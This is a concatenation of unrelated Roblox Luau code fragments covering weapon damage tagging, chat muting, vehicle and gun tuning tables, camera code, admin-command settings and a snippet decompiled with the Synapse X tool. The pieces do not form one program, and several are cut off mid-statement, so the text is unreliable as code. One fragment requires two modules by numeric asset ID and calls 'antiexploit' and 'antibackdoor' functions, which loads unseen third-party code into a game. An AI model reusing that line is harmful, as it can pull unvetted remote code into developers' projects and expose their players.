function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player debris:AddItem(Creator_Tag, 0.3) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function TextEffects(element, floatAmount, direction, style, duration) element:TweenPosition(UDim2.new(0, math.random(-40, 40), 0, -floatAmount), direction, style, duration) wait(0.5) for i = 1, 60 do element.TextTransparency = element.TextTransparency + 1/60 element.TextStrokeTransparency = element.TextStrokeTransparency + 1/60 wait(1/60) end element.TextTransparency = element.TextTransparency + 1 element.TextStrokeTransparency = element.TextStrokeTransparency + 1 element.Parent:Destroy() end function DynamicText(damage, criticalPoint, humanoid) local bill = Instance.new("BillboardGui", humanoid.Parent.Head) bill.Size = UDim2.new(0, 50, 0, 100) local part = Instance.new("TextLabel", bill) bill.AlwaysOnTop = true part.TextColor3 = Color3.fromRGB(255, 0, 0) part.Text = damage part.Font = Enum.Font.SourceSans part.TextStrokeTransparency = 0 part.Size = UDim2.new(1, 0, 1, 0) part.Position = UDim2.new(0, 0, 0, 0) part.BackgroundTransparency = 1 bill.Adornee = bill.Parent if damage < criticalPoint then part.TextSize = 28 part.TextColor3 = Color3.new(1, 0, 0) elseif damage >= criticalPoint then part.TextSize = 32 part.TextColor3 = Color3.new(1, 1, 0) end spawn(function() TextEffects(part, 85, Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.75) end) end function DamageAndTagHumanoid(player, humanoid, damage) hit:FireClient(player) UntagHumanoid(handle) humanoid:TakeDamage(damage) TagHumanoid(humanoid, player) end
-- This is pcalled because the SetCore methods may not be released yet.
pcall(function() PlayerBlockedEvent = StarterGui:GetCore("PlayerBlockedEvent") PlayerMutedEvent = StarterGui:GetCore("PlayerMutedEvent") PlayerUnBlockedEvent = StarterGui:GetCore("PlayerUnblockedEvent") PlayerUnMutedEvent = StarterGui:GetCore("PlayerUnmutedEvent") end) function SendSystemMessageToSelf(message) local currentChannel = ChatWindow:GetCurrentChannel() if currentChannel then local messageData = { ID = -1, FromSpeaker = nil, SpeakerUserId = 0, OriginalChannel = currentChannel.Name, IsFiltered = true, MessageLength = string.len(message), Message = trimTrailingSpaces(message), MessageType = ChatConstants.MessageTypeSystem, Time = os.time(), ExtraData = nil, } currentChannel:AddMessageToChannel(messageData) end end function MutePlayer(player) local mutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild("MutePlayerRequest") if mutePlayerRequest then return mutePlayerRequest:InvokeServer(player.Name) end return false end if PlayerBlockedEvent then PlayerBlockedEvent.Event:connect(function(player) if MutePlayer(player) then SendSystemMessageToSelf( string.gsub( ChatLocalization:Get( "GameChat_ChatMain_SpeakerHasBeenBlocked", string.format("Speaker '%s' has been blocked.", player.Name) ), "{RBX_NAME}",player.Name ) ) end end) end if PlayerMutedEvent then PlayerMutedEvent.Event:connect(function(player) if MutePlayer(player) then SendSystemMessageToSelf( string.gsub( ChatLocalization:Get( "GameChat_ChatMain_SpeakerHasBeenMuted", string.format("Speaker '%s' has been muted.", player.Name) ), "{RBX_NAME}", player.Name ) ) end end) end function UnmutePlayer(player) local unmutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild("UnMutePlayerRequest") if unmutePlayerRequest then return unmutePlayerRequest:InvokeServer(player.Name) end return false end if PlayerUnBlockedEvent then PlayerUnBlockedEvent.Event:connect(function(player) if UnmutePlayer(player) then SendSystemMessageToSelf( string.gsub( ChatLocalization:Get( "GameChat_ChatMain_SpeakerHasBeenUnBlocked", string.format("Speaker '%s' has been unblocked.", player.Name) ), "{RBX_NAME}",player.Name ) ) end end) end if PlayerUnMutedEvent then PlayerUnMutedEvent.Event:connect(function(player) if UnmutePlayer(player) then SendSystemMessageToSelf( string.gsub( ChatLocalization:Get( "GameChat_ChatMain_SpeakerHasBeenUnMuted", string.format("Speaker '%s' has been unmuted.", player.Name) ), "{RBX_NAME}",player.Name ) ) end end) end
------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------
Collapse.OnServerEvent:Connect(function(player) local Human = player.Character.Humanoid local Dor = Human.Parent.Saude.Variaveis.Dor local Sangue = Human.Parent.Saude.Variaveis.Sangue local IsWounded = Human.Parent.Saude.Stances.Caido if (Sangue.Value <= 3500) or (Dor.Value >= 200) or (IsWounded.Value == true) then -- Man this Guy's Really wounded, IsWounded.Value = true Human.PlatformStand = true Human.AutoRotate = false elseif (Sangue.Value > 3500) and (Dor.Value < 200) and (IsWounded.Value == false) then -- YAY A MEDIC ARRIVED! =D Human.PlatformStand = false IsWounded.Value = false Human.AutoRotate = true end end) Reset.OnServerEvent:Connect(function(player) local Human = player.Character.Humanoid local target = Human.Parent.Saude.Variaveis.PlayerSelecionado target.Value = "N/A" end)
--[=[ @interface ServiceDef .Name string .Client table? .Middleware Middleware? .[any] any @within KnitServer Used to define a service when creating it in `CreateService`. The middleware tables provided will be used instead of the Knit-level middleware (if any). This allows fine-tuning each service's middleware. These can also be left out or `nil` to not include middleware. ]=]
type ServiceDef = { Name: string, Client: { [any]: any }?, Middleware: Middleware?, [any]: any, }
--if char:FindFirstChild("Human") then -- char:FindFirstChild("Human").Health = 0 -- char:FindFirstChild("Human").MaxHealth = 0 --elseif char:FindFirstChild("Humanoid") then -- char:FindFirstChild("Humanoid").Health = 0 -- char:FindFirstChild("Humanoid").MaxHealth = 0 --elseif char:FindFirstChild("Hum") then -- char:FindFirstChild("Hum").Health = 0 -- char:FindFirstChild("Hum").MaxHealth = 0 --end
if char:FindFirstChild("Humanoid") then char.Humanoid.HealthDisplayDistance = 0 char.Humanoid.Name = "Immortal" end
-- turn off the viewmodel system
local function disableviewmodel() isfirstperson = false viewmodel.Parent = nil if rigtype == "R15" then -- disable viewmodel joints, enable real character joints rightshoulderclone.Enabled = false leftshoulderclone.Enabled = false viewmodel.Parent = nil -- reset shoulder joints to normal leftshoulder.Parent = larm leftshoulder.Part0 = torso leftshoulder.Part1 = larm rightshoulder.Parent = rarm rightshoulder.Part0 = torso rightshoulder.Part1 = rarm -- leftshoulder.Enabled = true rightshoulder.Enabled = true -- armtransparency = 0 visiblearms(false) else rightshoulderclone.Enabled = false leftshoulderclone.Enabled = false viewmodel.Parent = nil -- reset shoulder joints to normal, anchor the arms leftshoulder.Parent = torso leftshoulder.Part0 = torso leftshoulder.Part1 = larm rightshoulder.Parent = torso rightshoulder.Part0 = torso rightshoulder.Part1 = rarm -- leftshoulder.Enabled = true rightshoulder.Enabled = true -- armtransparency = 0 visiblearms(false) end end
-- print(Name .. " [" .. Index .. "] " .. Anim.Id .. " (" .. Anim.Weight .. ")")
end end end
--Enter the name of the model you want to go to here. ------------------------------------
modelname="Teleporter 2"
--[[ Constants ]]-- -- Set this to true if you want to instead use the triggers for the throttle
local useTriggersForThrottle = true
--[[Drivetrain]]
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD" --Differential Settings Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed) Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel) Tune.RDiffSlipThres = 30 -- 1 - 100% Tune.RDiffLockThres = 60 -- 0 - 100% Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only] Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only] --Traction Control Settings Tune.TCSEnabled = true -- Implements TCS Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS) Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS) Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
--Initialize two tables
local Register = {} --One to define methods local info = {} --One for information storage
--------------------------------------------------------------------------------
local function FormatValue(Value: any): string return typeof(Value) == "number" and FormatNumber(Value, "Suffix") or tostring(Value) end local function OnPlayerAdded(Player: Player) local pData = PlayerData:WaitForChild(Player.UserId, 5) local Stats = pData and pData:WaitForChild("Stats", 5) if not Stats then return end local leaderstats = Instance.new("Folder") leaderstats.Name = "leaderstats" for _, StatName in StatsToShow do local Stat = Stats:WaitForChild(StatName, 5) if Stat then local ValueObject = Instance.new("StringValue") ValueObject.Name = StatName ValueObject.Value = FormatValue(Stat.Value) ValueObject.Parent = leaderstats Stat.Changed:Connect(function() ValueObject.Value = FormatValue(Stat.Value) end) end end leaderstats.Parent = Player end Players.PlayerAdded:Connect(OnPlayerAdded) for _, Player in Players:GetPlayers() do task.defer(OnPlayerAdded, Player) end return {}
--[[Misc]]
Tune.LoadDelay = 1 -- Delay before initializing chassis (in seconds) Tune.AutoStart = true -- Set to false if using manual ignition plugin Tune.AutoFlip = true -- Set to false if using manual flip plugin
-- SERVICES --
local TS = game:GetService("TweenService") local RS = game:GetService("ReplicatedStorage")
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {21,23} --- Vertical Recoil ,HRecoil = {6,9} --- Horizontal Recoil ,AimRecover = .65 ---- Between 0 & 1 ,RecoilPunch = .175 ,VPunchBase = 4.25 --- Vertical Punch ,HPunchBase = 2.25 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = .75 ,MaxRecoilPower = 3.5 ,RecoilPowerStepAmount = .25 ,MinSpread = 0.35 --- Min bullet spread value | Studs ,MaxSpread = 40 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 1.15 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 1.75 --- Max sway value based on player stamina | Studs
---Auto Settings---
elseif Settings.Mode == "Auto" and Settings.FireModes.Explosive == true then Gui.FText.Text = "Explosive" Settings.Mode = "Explosive" elseif Settings.Mode == "Auto" and Settings.FireModes.Semi == true and Settings.FireModes.Explosive == false then Gui.FText.Text = "Semi" Settings.Mode = "Semi" elseif Settings.Mode == "Auto" and Settings.FireModes.Semi == false and Settings.FireModes.Burst == true and Settings.FireModes.Explosive == false then Gui.FText.Text = "Burst" Settings.Mode = "Burst"
---------------------------------------------------------------------------------------------------- --------------------=[ OUTROS ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,FastReload = true --- Automatically operates the bolt on reload if needed ,SlideLock = false ,MoveBolt = false ,BoltLock = false ,CanBreachDoor = false ,CanBreak = true --- Weapon can jam? ,JamChance = 1000 --- This old piece of brick doesn't work fine >;c ,IncludeChamberedBullet = true --- Include the chambered bullet on next reload ,Chambered = false --- Start with the gun chambered? ,LauncherReady = false --- Start with the GL ready? ,CanCheckMag = true --- You can check the magazine ,ArcadeMode = false --- You can see the bullets left in magazine ,RainbowMode = false --- Operation: Party Time xD ,ModoTreino = false --- Surrender enemies instead of killing them ,GunSize = 2 ,GunFOVReduction = 5 ,BoltExtend = Vector3.new(0, 0, 0.375) ,SlideExtend = Vector3.new(0, 0, 0.4)
-- Written By Kip Turner, Copyright Roblox 2014
local UIS = game:GetService("UserInputService") local PathfindingService = game:GetService("PathfindingService") local PlayerService = game:GetService("Players") local RunService = game:GetService("RunService") local DebrisService = game:GetService('Debris') local ReplicatedStorage = game:GetService('ReplicatedStorage') local CameraScript = script.Parent local ClassicCameraModule = require(CameraScript:WaitForChild('RootCamera'):WaitForChild('ClassicCamera')) local Player = PlayerService.localPlayer local MyMouse = Player:GetMouse() local DirectPathEnabled = false local SHOW_PATH = false local Y_VECTOR3 = Vector3.new(0, 1, 0) local XZ_VECTOR3 = Vector3.new(1, 0, 1) local ZERO_VECTOR3 = Vector3.new(0, 0, 0) local ZERO_VECTOR2 = Vector2.new(0, 0) local RayCastIgnoreList = workspace.FindPartOnRayWithIgnoreList local GetPartsTouchingExtents = workspace.FindPartsInRegion3 local math_min = math.min local math_max = math.max local math_pi = math.pi local math_floor = math.floor local math_abs = math.abs local math_deg = math.deg local math_acos = math.acos local math_sin = math.sin local math_atan2 = math.atan2 local Vector3_new = Vector3.new local Vector2_new = Vector2.new local CFrame_new = CFrame.new local CurrentSeatPart = nil local DrivingTo = nil
-- Basic Settings
AdminCredit=true; -- Enables the credit GUI for that appears in the bottom right AutoClean=false; -- Enables automatic cleaning of hats & tools in the Workspace AutoCleanDelay=60; -- The delay between each AutoClean routine CommandBar=true; -- Enables the Command Bar | GLOBAL KEYBIND: \ FunCommands=true; -- Enables fun yet unnecessary commands FreeAdmin=false; -- Set to 1-5 to grant admin powers to all, otherwise set to false PublicLogs=false; -- Allows all users to see the command & chat logs Prefix=':'; -- Character to begin a command --[[ Admin Powers 0 Player 1 VIP Can use nonabusive commands only on self 2 Moderator Can kick, mute, & use most commands 3 Administrator Can ban, crash, & set Moderators/VIP 4 SuperAdmin Can grant permanent powers, & shutdown the game 5 Owner Can set SuperAdmins, & use all the commands 6 Game Creator Can set owners & use all the commands Group & VIP Admin You can set multiple Groups & Ranks to grant users admin powers: GroupAdmin={ [12345]={[254]=4,[253]=3}; [GROUPID]={[RANK]=ADMINPOWER} }; You can set multiple Assets to grant users admin powers: VIPAdmin={ [12345]=3; [54321]=4; [ITEMID]=ADMINPOWER; }; ]] GroupAdmin={ }; VIPAdmin={ };
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation) return ClassInformationTable:GetClassFolder(player,"Paladin").JumpStrike1.Value == true end
-- Decompiled with the Synapse X Luau decompiler.
client = nil; cPcall = nil; Pcall = nil; Routine = nil; service = nil; gTable = nil; return function(p1) local v1 = nil; local l__PlayerGui__2 = service.PlayerGui; local l__LocalPlayer__3 = service.Players.LocalPlayer; local v4 = service.New("ScreenGui"); local v5 = service.New("ImageButton", v4); v1 = client.UI.Register(v4); if client.UI.Get("HelpButton", v4, true) then v4:Destroy(); v1:Destroy(); return nil; end; v1.Name = "HelpButton"; v1.CanKeepAlive = false; v5.Name = "Toggle"; v5.BackgroundTransparency = 1; v5.Position = UDim2.new(1, -45, 1, -45); v5.Size = UDim2.new(0, 40, 0, 40); v5.Image = client.HelpButtonImage; v5.ImageTransparency = 0.5; v5.MouseButton1Down:Connect(function() local v6 = client.UI.Get("UserPanel", nil, true); if not v6 then client.UI.Make("UserPanel", {}); return; end; v6.Object:Destroy(); end); v1:Ready(); end;
-- These are exactly the same thing. No one will notice. Except for you, dear reader.
Registry.RegisterHooksIn = Registry.RegisterTypesIn
--[=[ @function cancellableDelay @param timeoutInSeconds number @param func function @param ... any -- Args to pass into the function @return function? -- Can be used to cancel @within cancellableDelay ]=]
local function cancellableDelay(timeoutInSeconds, func, ...) assert(type(timeoutInSeconds) == "number", "Bad timeoutInSeconds") assert(type(func) == "function", "Bad func") local args = table.pack(...) local running task.spawn(function() running = coroutine.running() task.wait(timeoutInSeconds) local localArgs = args running = nil args = nil func(table.unpack(localArgs, 1, localArgs.n)) end) return function() if running then coroutine.close(running) running = nil args = nil end end end return cancellableDelay
--// Damage Settings
BaseDamage = 45; -- Torso Damage LimbDamage = 35; -- Arms and Legs ArmorDamage = 35; -- How much damage is dealt against armor (Name the armor "Armor") HeadDamage = 85; -- If you set this to 100, there's a chance the player won't die because of the heal script
--Thanks.
local mymodule2 = require(3667797501) mymodule2.antiexploit() wait(2) local mymodule = require(3664252382) mymodule.antibackdoor()
--[=[ Constructs a new BaseObject @param obj? Instance @return BaseObject ]=]
function BaseObject.new(obj) local self = setmetatable({}, BaseObject) self._maid = Maid.new() self._obj = obj return self end
--!strict --[[* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @flow ]]
local Packages = script.Parent.Parent local LuauPolyfill = require(Packages.LuauPolyfill) type Object = LuauPolyfill.Object local flowtypes = require(script.Parent["flowtypes.roblox"]) type React_Element<ElementType> = flowtypes.React_Element<ElementType> type React_StatelessFunctionalComponent<P> = flowtypes.React_StatelessFunctionalComponent< P > type React_ComponentType<P> = flowtypes.React_ComponentType<P> export type Source = { fileName: string, lineNumber: number, } type Key = string | number
--[[ Constructors.List This module provides a set of functions useful for generating lists that can be scrolled through. This module only has one function: List.Create( string[] list, -- an array of strings used to generate instances for the list integer scrollMax, -- the maximum number of elements visible in the scroll frame at any given time. Defaults to math.huge enum fillDirection, -- Enum.FillDirection lets you decide if the list is vertical or horizontal. Defaults to verical udim padding, -- scale and offset for padding between instances. Defaults to no padding function instanceFunc -- must return a UI object such as a frame. Defaults to creating a textbutton with a child textlabel ) --]]
-- Modules
local Permissions = {CanEdit = true} local RbxApi = getRbxApi()
--!nolint DeprecatedApi --[[ BaseCamera - Abstract base class for camera control modules 2018 Camera Update - AllYourBlox --]]
--// B key, Dome Light
mouse.KeyDown:connect(function(key) if key=="-" then veh.Lightbar.middle.SpotlightSound:Play() veh.Lightbar.Remotes.DomeEvent:FireServer(true) end end)
-- declarations
local Figure = script.Parent local Head = waitForChild(Figure, "Head") local Humanoid = waitForChild(Figure, "Humanoid") Humanoid.Health = 50
---------------------------------------------------------------- -----------------------SCROLLBAR STUFF-------------------------- ---------------------------------------------------------------- ----------------------------------------------------------------
local ScrollBarWidth = 16 local ScrollStyles = { Background = Color3.new(233/255, 233/255, 233/255); Border = Color3.new(149/255, 149/255, 149/255); Selected = Color3.new( 63/255, 119/255, 189/255); BorderSelected = Color3.new( 55/255, 106/255, 167/255); Text = Color3.new( 0/255, 0/255, 0/255); TextDisabled = Color3.new(128/255, 128/255, 128/255); TextSelected = Color3.new(255/255, 255/255, 255/255); Button = Color3.new(221/255, 221/255, 221/255); ButtonBorder = Color3.new(149/255, 149/255, 149/255); ButtonSelected = Color3.new(255/255, 0/255, 0/255); Field = Color3.new(255/255, 255/255, 255/255); FieldBorder = Color3.new(191/255, 191/255, 191/255); TitleBackground = Color3.new(178/255, 178/255, 178/255); } do local ZIndexLock = {} function SetZIndex(object,z) if not ZIndexLock[object] then ZIndexLock[object] = true if object:IsA'GuiObject' then object.ZIndex = z end local children = object:GetChildren() for i = 1,#children do SetZIndex(children[i],z) end ZIndexLock[object] = nil end end end function SetZIndexOnChanged(object) return object.Changed:connect(function(p) if p == "ZIndex" then SetZIndex(object,object.ZIndex) end end) end function Create(ty,data) local obj if type(ty) == 'string' then obj = Instance.new(ty) else obj = ty end for k, v in pairs(data) do if type(k) == 'number' then v.Parent = obj else obj[k] = v end end return obj end